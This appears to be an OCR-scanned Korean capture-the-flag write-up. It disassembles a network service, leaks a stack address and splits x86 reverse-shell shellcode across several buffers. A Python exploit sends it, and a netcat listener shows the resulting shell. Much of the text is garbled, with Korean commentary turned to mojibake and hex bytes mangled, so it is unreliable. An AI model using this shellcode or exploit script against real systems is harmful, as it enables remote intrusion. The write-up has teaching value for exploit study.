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1text:08048E26 loc_8048E26:

.text:08048E26 sub
.text:08048E29 sub
text:08048E2C push
.text:08048E31 call
.text:08048E36 add
text:08048E39 push
text:08048E3A push
.text:08048E3F push
.text:08048E42 call
.text:08048E47 add
text:08048E4A mov
text:08048E50 cmp
text:08048E57 jns
/a2 A0l S0 HE2|of XMFotct
text:08048E69 loc_8048E69:
.text:08048E69 sub
.text:08048E6C push
text:08048E71 lea
.text:08048E77 push
.text:08048E78 push
.text:08048E7B call
.text:08048E80 add
text:08048E83 mov
.text:08048E89 cmp
text:08048E90 jns
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// 3 242 atoiE2 FG=st of F

text:08048EA2 loc_8048EA2:

; CODE XREF: sub_8048DD3+410 j
esp, 4
esp, 8
offsetal 2 X ;
_strlen
esp, 0Ch
eax
offset al 2 X ;
[ebp+fd]
_write
esp, 10h
[ebp+var_19C], eax
[ebp+var_19C], 0
short loc_8048E69

"#n 1l

'n
"Wn 1
: fd

; CODE XREF: sub_8048DD3+840 j
esp, 4
OE8h
eax, [ebp+buf]

; nbytes

eax
[ebp+fd]
_read
esp, 10h
[ebp+var_19C], eax
[ebp+var_19C], 0
short loc_8048EA2

: buf
; fd
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n
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; CODE XREF: sub_8048DD3+BD0 |



text:08048EA2 lea eax, [ebp+var_D9]

text:08048EAS8 add eax, [ebp+var_19C]
.text:08048EAE mov byte ptr [eax], 0
text:08048EB1 sub esp, 4

text:08048EB4 push 8 ;N
text:08048EB6 lea eax, [ebp+buf]
text:08048EBC push eax ; Src
text:08048EBD lea eax, [ebp+nptr]
text:08048EC3 push eax ; dest
text:08048EC4 call _strncpy

.text:08048EC9 add esp, 10h

text:08048ECC lea eax, [ebp+nptr]
.text:08048ED2 sub esp, 0Ch

.text:08048ED5 push eax ; nptr
.text:08048ED6 call _atoi

.text:08048EDB add esp, 10h

.text:08048EDE mov [ebp+var_1A4], eax
.text:08048EE4 cmp [ebp+var_1A4], 6
text:08048EEB ja loc_80490C4

text:08048EF1 mov edx, [ebp+var_1A4]
text:08048EF7 mov eax, ds:off 804A038[edx*4]
.text:08048EFE jmp eax
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text:08048EF7 mov ds:off 804A038[edx*4]

?l RE=, 0x0804A038+edx*40f U= gts eax0f CHYSt= AE SfOIFLICL 1 Of2f eaxZ jmp 3t
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-rodata:0804A038 off 804A038 dd offset loc_80490C4 ; DATA XREF: sub_8048DD3+1240 r

.rodata:0804A03C dd offset loc_8048F00 // & ZF 1 & [ M=3l= 2
.rodata:0804A040 dd offset loc_8048F4C  // 2

.rodata:0804A044 dd offset loc_8048F98  // 3



.rodata:0804A048 dd offset loc_ 8048FE4  //

.rodata:0804A04C dd offset loc_8049030 //
.rodata:0804A050 dd offset loc_804907F //
ol %t ¥ ot MZE Ro| F

S QS 0o 2720 234 02 #S ¥ + ALt

/11 o] REL 1M 2346H2 SHHAIXIE Melstns M 27 Mo 4=

text:08048FE4 loc_8048FEA4:

.text:08048FE4 sub esp, 4

.text:08048FE7 sub esp, 8

text:08048FEA push offset al U ;"Wn 1.
text:08048FEF call _strlen

text:08048FF4 add esp, 0Ch

text:08048FF7 push eax ;N
.text:08048FF8 push offset al_U ;" L
text:08048FFD push [ebp+fd] ; fd
.text:08049000 call _write

.text:08049005 add esp, 10h

.text:08049008 mov [ebp+var_19C], eax
.text:0804900E cmp [ebp+var_19C], 0
text:08049015 jns sub_804911F

// 5¥e| FEl 1,234,610 jmp A7 CHELH
1ext:08049030 loc_8049030:

.text:08049030 sub esp, 4
.text:08049033 sub esp, 8
.text:08049036 push

INF¥#n 3. ?...

.text:0804903B call _strlen

text:08049040 add esp, 0Ch
text:08049043 push eax ;n
text:08049044 push offset al CU2 Inf3_CJ4 ; "Wn 1.
INF#n 3. 7...

text:08049049 push [ebp+fd] ; fd
.text:0804904C call _write

text:08049051 add esp, 10h
text:08049054 mov [ebp+var_19C], eax
.text:0804905A cmp [ebp+var_19C], 0

: DATA XREF: .rodata:0804A0480 o

SE20 b

; DATA XREF: .rodata:0804A04C0O o

offset al_CU2_Inf3_CJ4 ; "Wn 1. ZAX|OF =At¥Wn 2. CtA|EX}

HRYOF =XPwn 2. CHA|R A}



text:08049061 jns short loc_8049073

1234,6H2 sub_804911F2 FIZSIX|Pt 5812 short loc 80490732 HIst= A2 & == JUSLICHL
loc_80490732| LHES =QIsl EASL|CE

// 5¥o| ZEloot ZotE BE

text:08049073 loc_8049073: ; CODE XREF: sub_8048DD3+28E0 j
.text:08049073 mov [ebp+var_19D], OFFh
text:0804907A jmp sub_804911F

Ot

ebp+var_19D0j| OxFFhEt=s Zt2 Y9n CH2 ZEIDf 20| sub_804911F2 MI 3l= ZHS & 4= Q& L|CH
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S = ebp+var_19DQ| Zt0| 0 0|1, 52 =3 S Oj= OxFFh7} S0{Qs AE2 sub_804911F2 M

=
—
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sub esp, BCh

push eax ; nptr
call _atoi

add esp, 16h

cmp eax, 3

jnz short loc_804926F

EAN L
cmp byte ptr [ebp-19Dh], ©
jnz short loc_808492CA

EAN L
loc_86492CA:
sub esp, 4
sub esp, 8
E ; "ZSEUCH 2 ZEZ 3= 2 | lpush  offset aE s WnE 2 T
call _strlen
add esp, 6Ch
= push eax ;N
E ; "R SEUCH 2 ZE233E = ? |} |push offset aE ; "HnIZ 2 T
* [ebp+8] ; fd push dword ptr [ebp+8] ; fd
call _write
add esp, 16h
1], eax mov [ebp-19Ch], eax
* [ebp-19Ch], 8 cmp dword ptr [ebp-19Ch], ©
:_88492B2 jns short loc_864936D
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.text:080493B3
.text:080493B6
.text:080493B9
text:080493BE
.text:080493C3
.text:080493C6
text:080493C7
.text:080493CC
.text:080493CF
text:080493D4
.text:080493D7
.text:080493DD
.text:080493E4

// O|XO|M BOFZ} O{ kTt
text:080493F6 loc_80493F6:

text:080493F6
text:080493F9
text:080493FE
text:08049404
text:08049405
text:08049408
.text:0804940D
text:08049410
text:08049416
text:0804941D

// strncpy()2 H Iy 9|
1ext:0804942F loc_804942F:

text:0804942F
text:08049435
.text:0804943B

PAE=S
HA =

E
=

~
()

A A
USL

ICk. 38 O[M MxX=

CODE XREF: sub_804911F+2C50 j

sub esp, 4

sub esp, 8

push offset aK ;"LEOl: "
call _strlen

add esp, 0Ch

push eax i n
push offset aK ;"LEO[: "
push dword ptr [ebp+8] ; fd
call _write

add esp, 10h

mov [ebp-19Ch], eax

cmp dword ptr [ebp-19Ch], 0
jns short loc_80493F6

sub esp, 4

push OE8h ; nbytes
lea eax, [ebp-0D8h]

push eax ; buf
push dword ptr [ebp+8] ; fd
call _read

add esp, 10h

mov [ebp-19Ch], eax

cmp dword ptr [ebp-19Ch], O
jns short loc_804942F

o=22] g0 M

lea
add

mov

]

eax, [ebp-0D9h]
eax, [ebp-19Ch]

byte ptr [eax], O

CODE XREF: sub_804911F+2FED j

o



text:0804943E sub esp, 4

text:08049441 push 9 ;N

text:08049443 lea eax, [ebp-0D8h]

.text:08049449 push eax ; Src

text:0804944A lea eax, [ebp-198h]

.text:08049450 push eax ; dest

.text:08049451 call _strncpy

.text:08049456 add esp, 10h
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// ebp-0xD8O| HIAE F&= A0 27t Ol

text:080497F6 loc_80497F6: ; CODE XREF: sub_804911F+6C50 |

text:080497F6 sub esp, 4

text:080497F9 push 0C8h n

text:080497FE push 41h e

.text:08049800 lea eax, [ebp-0D8h]

.text:08049806 push eax ;S

text:08049807 call _memset

.text:0804980C add esp, 10h

.text:0804980F leave

text:08049810 retn

g5 2IHS| Aol HT HEZ O, memset)S O[E3HA ebp-0xD8REZES AZ HOMAE AS =5

UAELICL 0xd8F 0| Oxc82tFS AZ FHO{AH 0x102F T H=0 Ol= 2L #AEQ Z0| Chefst 7|

2| H3EE MEsY|0ls &#Fet 27| YLtk d2fM NMol= YT US ebp-0xD8O| XM FHCH}
| -

Stmcpy()% I% KA ozZ2le] EFot RE22 FUMs Ao 5, 20| 23
to| 30| of= X0 LotTF FAX=A &AMSLCH

[y =]



// strncpy() 220 cE HH
strncpy([ebp-100h],[ebp-0D8h],0x8) // M2 Z27|& €=, 5
strncpy([ebp-108h],[ebp-0D8h],0x8) // FHR| 27| &
strncpy([ebp-0F8h],[ebp-0D8h],0x11) // O| &
strncpy([ebp-198h],[ebp-0D8h],0x9) // L}O|
strncpy([ebp-188h],[ebp-0D8h],0xE) // S| &
strncpy([ebp-178h],[ebp-0D8h],0x16) // F3tHS
strncpy([ebp-158h],[ebp-0D8h],0x1D) // F4
strncpy([ebp-138h],[ebp-0D8h],0x1F) // MEIIE HS
[ 1

strncpy([ebp-118h],[ebp-0D8h],0xD) // AE&7FE Tt7]2
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-148h
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08049400 <r_shellcode>:

8049400:
8049402:
8049404:
8049406:

// ebp-198h : 0x9 2byte

8049407:
80494009:
804940a:
804940c:
804940d:
804940f:
8049410:

// ebp-188h : OxE 2byte

8049412:
8049414:
8049416:
8049418:
804941a:
804941c:
804941e:
804941f:
8049420:

8049425:
8049429:
804942b:
804942d:
804942f:
8049431:
8049432:

31 cO
31db
319
51

bl 06
51
bl 01
51
bl 02
51
89 el

b3 01
b0 66
cd 80
89 c2
31 cO
31 c9
51

51

68 c0 a8 7b 04
// ebp-178h : 0x16 2byte H|2|3fA| -> 20byte

66 68 aa aa
bl 02

66 51

89 e7

b3 10

53

57

ot

=0{7I0F 3}
=0 o]0

43 gtk

=7|=ah A ey

= ol

A
HIAL

Xor
Xor
Xor

push

mov
push
mov
push
mov
push

mov

mov
mov
int
mov
xor
xor
push
push
push

pushw

mov
push
mov
mov

push
push

%eax, %eax
%ebx, %ebx
%ecx,%ecx

%ecx

| 2|5 Al-> 7byte (7byte used)

$0x6,%:cl
Yoecx

$0x1,%cl
Y%ecx

$0x2,%cl
Y%oecx

Y%esp,%ecx

H| 2|8 A{-> 12byte (11byte used)

$0x1,%bl
$0x66,%al
$0x80
%eax, %edx
Y%oeax, Yoeax
Yoecx, %ecx
Yoecx
Yoecx
$0x47ba8c0

(19byte used)

$0xaaaa
$0x2,%cl

Y%Cx
%esp,%edi
$0x10,%Dbl
%ebx

%edi



8049433:
8049434:
8049436:
8049438:
804943a:
804943c:
804943e:

// ebp-158h :

8049440:
8049442:
8049444:
8049446:
8049448:
804944a:
804944c:
804944e:
8049450:
8049452:
8049454:
8049456:
8049458:
804945a:

// ebp-138h :

804945c:
804945e:
804945f:

// ebp-118h

8049464:

// ebp-108h :

8049469:
804946b:
804946c¢:
804946d:
// ebp-100h

804946f:
8049471:

52 push  %edx

89 el mov %esp,%ecx
b3 03 mov $0x3,%Dbl
b0 66 mov $0x66,%al
cd 80 int $0x80

31 c9 xor Y%ecx, %ecx
31 c0 xor %eax, Y%eax

0x1D 2byte H|2SijA -> 27byte (27 byte used)

b0 3f mov  $0x3f%al
89 d3 mov %edx, %ebx
cd 80 int $0x80

31 c0 xor %eax, %oeax
b0 3f mov  $0x3f%al
89 d3 mov %edx, %ebx
bl 01 mov $0x1,%cl
cd 80 int $0x80

31c0 xor %eax, %oeax
b0 3f mov $0x3f,%al
89 d3 mov %edx, %ebx
bl 02 mov $0x2,%cl
cd 80 int $0x80

31 cO xor Y%eax, %oeax

Ox1F 2byte H|2|8fA{ -> 29byte (28 byte used)

31d2 xor %edx,%edx
50 push  %eax
68 6e 2f 73 68 push  $0x68732f6e

: 0xD 2byte X|2|8fA] -> 1llbyte (8 byte used)

68 2f 2f 62 69 push  $0x69622f2f
Sbyte (5byte used)

89 e3 mov %esp,%ebx

50 push  %eax

53 push  %ebx

89 el mov Yoesp,Yecx
: 7byte (6byte used)

b0 Ob mov  $0xb,%al

cd 80 int $0x80



// ebp-F8h : 0x11 -> 17byte (4 byte us

ed)

OfFA =M HIALO Zfzto| OiC|OtC; L2 ZO[= FIoHA ofFH, SHIAL bdE UG
BOF7} &ojLt= Xk UL, HILEE XAZE = HUASLICE 08 BOFE ZHAIA
OlERAE HIEQ FAR HOXRT| o #AE9 FAE HOIOF WESLICH WIS A
U7 WZO ebpl F0H QICHEH F2Hoh 9IXE 7 = AF UL

. OH|

2| H
o0

MEO| &M 2ES O DjgH2 280 ASHC

2= BE7t SHEA MEERSUL

MHESHA TV T2 3221218592 X=F {0 A|HO| 7hsEHL Ct
HARLIEL = 0|83 FAM 8.

3221218592 =7} o|O|gt= AHE AV
// ebp gt T3]

.text:0804979A lea
.text:080497A0 push
text:080497A1 push
.text:080497A6 push
.text:080497AB call
.text:080497B0 add
.text:080497B3 sub
.text:080497B6 sub
.text:080497B9 push
.text:080497BE call
.text:080497C3 add
.text:080497C6 push
.text:080497C7 push
.text:080497CC push
text:080497CF call
.text:080497D4 add
text:080497A1 push

eax, [ebp-0D8h]

eax

offset asc_8049F20 ; "----------mmmmmmmmmm oo

offset byte_804B200 ; s
_sprintf

esp, 10h

esp, 4

esp, 8

offset byte_804B200 ; s
_strlen

esp, 0Ch

eax in

offset byte_804B200 ; buf

dword ptr [ebp+8] ; fd
_write

esp, 10h

offset asc_8049F20 ; "-----------mmmmmmmmm oo
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.rodata:08049F20 asc_8049F20 do - oo ‘

.rodata:08049F20 : DATA XREF: sub_804911F+6820 o
.rodata:08049F20 db 0Ah

.rodata:08049F20 db '2E MET} SHE2A MEEJFESL CE,0ARh

.rodata:08049F20 db "AMHESIA TV T2 %u XZ F[0| A|HO| 75 L CL',0ANh
.rodata:08049F20 db 'ZFAFBIL|CE EE 0| 2% F=M| 2. ,0Ah0

W AEGoR AHOIM HZ HO| pushEl S %u2Z EHols AS € = UgFLICH
P4

text:0804979A lea eax, [ebp-0D8h]
text:080497A0 push eax
[ebp-0D8h]e| F4, = ebp-0D8h2| ZtAS Y+ USLICL 0| O|E5L0] ebp 4= ALt & £+ UL,

= =T
AHAEl ebp ZrO2 22|19 "HALEO| AR FAQl ebp-198hE A4 = /UASLICE OE &0 %u

PN
FE2o| 8 A0| 32212217760|2tH ebp - 198h= CHZat 20| AL & =+ AL CH

3221221776 = OxBFFFF190 = ebp - Oxd8
ebp = OxBFFFF190 + 0xd8 = OxBFFFF268
ebp - 0x198 = OxBFFFF268 — 0x198 = OxBFFFFODO

= Folory, 220l 92 o) Pelol MT 2l YECSS W0 OHXIT Y0|A BOFS w4 Al
eelol WACO AMFAR FESA ofF, SCiof %8 €S 4 USUCL OHA sM Ay
3Z3C YUk BHACE pythonO2 BHEUSLICH

attackcode.py

-*- coding: euc-kr *-

# pitv.py
# made by alcohollab

import socket



HOST = "192.168.123.44"
PORT = 3009

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

print s.recv(5000)

print s.recv(5000)

s.send("Wx35%x89¥xe3Wx50Wx53#x8 9 xe1Wx90¥Wn") # 100h 5¢! =

print s.recv(5000)

s.send("#x33Wx68Wx2fWx2fix621x6 9% xebWx01#n") # 108h 3 =

print s.recv(5000)

print s.recv(5000)

s.send("WxbOWxOb¥xcd#x80Wn") # F8h & <-1/0|&

print s.recv(5000)

s.send("#x31WxcOWx31#xdbWx3 1WxcOx5 1 WxebWx07%#n") #198h <-2/L}0|

print s.recv(5000)

s.send("Wxb1Wx06Wx51Wxb1Wx01Wx51Wxb1Wx02Wx51Wx89%xelWxebWx03Wn") # 188h<-3/< 4 &

print s.recv(5000)
s.send("Wxb3Wx01WxbOWx66Wxcd#x80Wx8IWxc2Wx3 1WxcOWX3 1 #xc x5 1Wx51Wx68WxCOWXA8WX7B#x04
WxebWx0bW#Wn") # 178h<-4/M3tH S

print s.recv(5000)
s.send("Wx66¥Wx68HxAARXAAWXD1WX02Wx661¥ x5 1#x89Wxe7Wxb3Wx10Wx53%x57#x52Wx89Wxe1#xb3Wx0
3 xb O x66WXcdWx80¥ X3 1 WXCOWX31WxcOWxebWx03¥Wn") # 158h <-5/FA

print s.recv(5000)

s.send("WxbOWx3fitx89Wxd 3xcdWx80Wx3 1 xcOWXxbOWX 3 fWx89Wxd 3Wxb 1 #x01Wxcdx 80 x3 1 iWxcOWxbOW
x3fix89Wxd 3Wxb 1 Wx02WxcdWxB0Wx3 1 WxcOWxebWx02Wn")#138h <-6/AEFIEHS

print s.recv(5000)

s.send("Wx31#Wxd2Wx50Wx68Wx6etx2fittx7 3Wx68Wxeb¥x07" + "#x90"*206 +
"Wx68Wxf2Wx It x bW xdOWXTOWXTTWxbf#n") #118h<-7/AM27E0t7|, 07| BOFE A|ZICH

print s.recv(5000)
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[root@localhost root]# nc -l -p 43690
whoami
daemon01

clear!

PS. O]7IM SA0| 95 B2 oid H== dAAZl Ao Lt 22 WAIX[7} =A FL|L.

[root@localhost roOt]# —=-===mmmmmmmm
2E BEIF SHEA MEEJASLC
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.text:08049743 push dword ptr [ebp+8] ; fd
text:08049746 call _read

.text:0804974B add esp, 10h

text:0804974E mov [ebp-19Ch], eax
text:08049754 cmp dword ptr [ebp-19Ch], O
.text:08049758B jns short loc_804976D
text:0804976D loc_804976D: ; CODE XREF: sub_804911F+63CO j
text:0804976D lea eax, [ebp-0D9h]
.text:08049773 add eax, [ebp-19Ch]
text:08049779 mov byte ptr [eax], 0
.text:0804977C sub esp, 4

text:0804977F push 0Dh
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(fdZt0] {BA FaX|=X| OfAlE 22 & LAFMH M) O|F O|83iA SH4REQ KT} =

s.send("#x31Wxd2¥#x50%x 68 Wx6eWx 2fx7 3 x68¥xebix07" + "#Wx90"*206
"6 8 W2\ Fttx b Fitxd O X FOWX WX bf#n") #118h<-7/AM 720171, o7\ BOFE A|ZICH

O] S0 Wx04E E7te) T

s.send("Wx31Wxd2Wx50Wx68¥x6etx2fitx73Wx68WxebWx07" + "Wx90"*206

"Wx68 X2 XWX bt xdOWXOWXTTxbfWx04¥n") #118h<-7/AM27E0E7|Q, Of7|A BOFE A|ZICt
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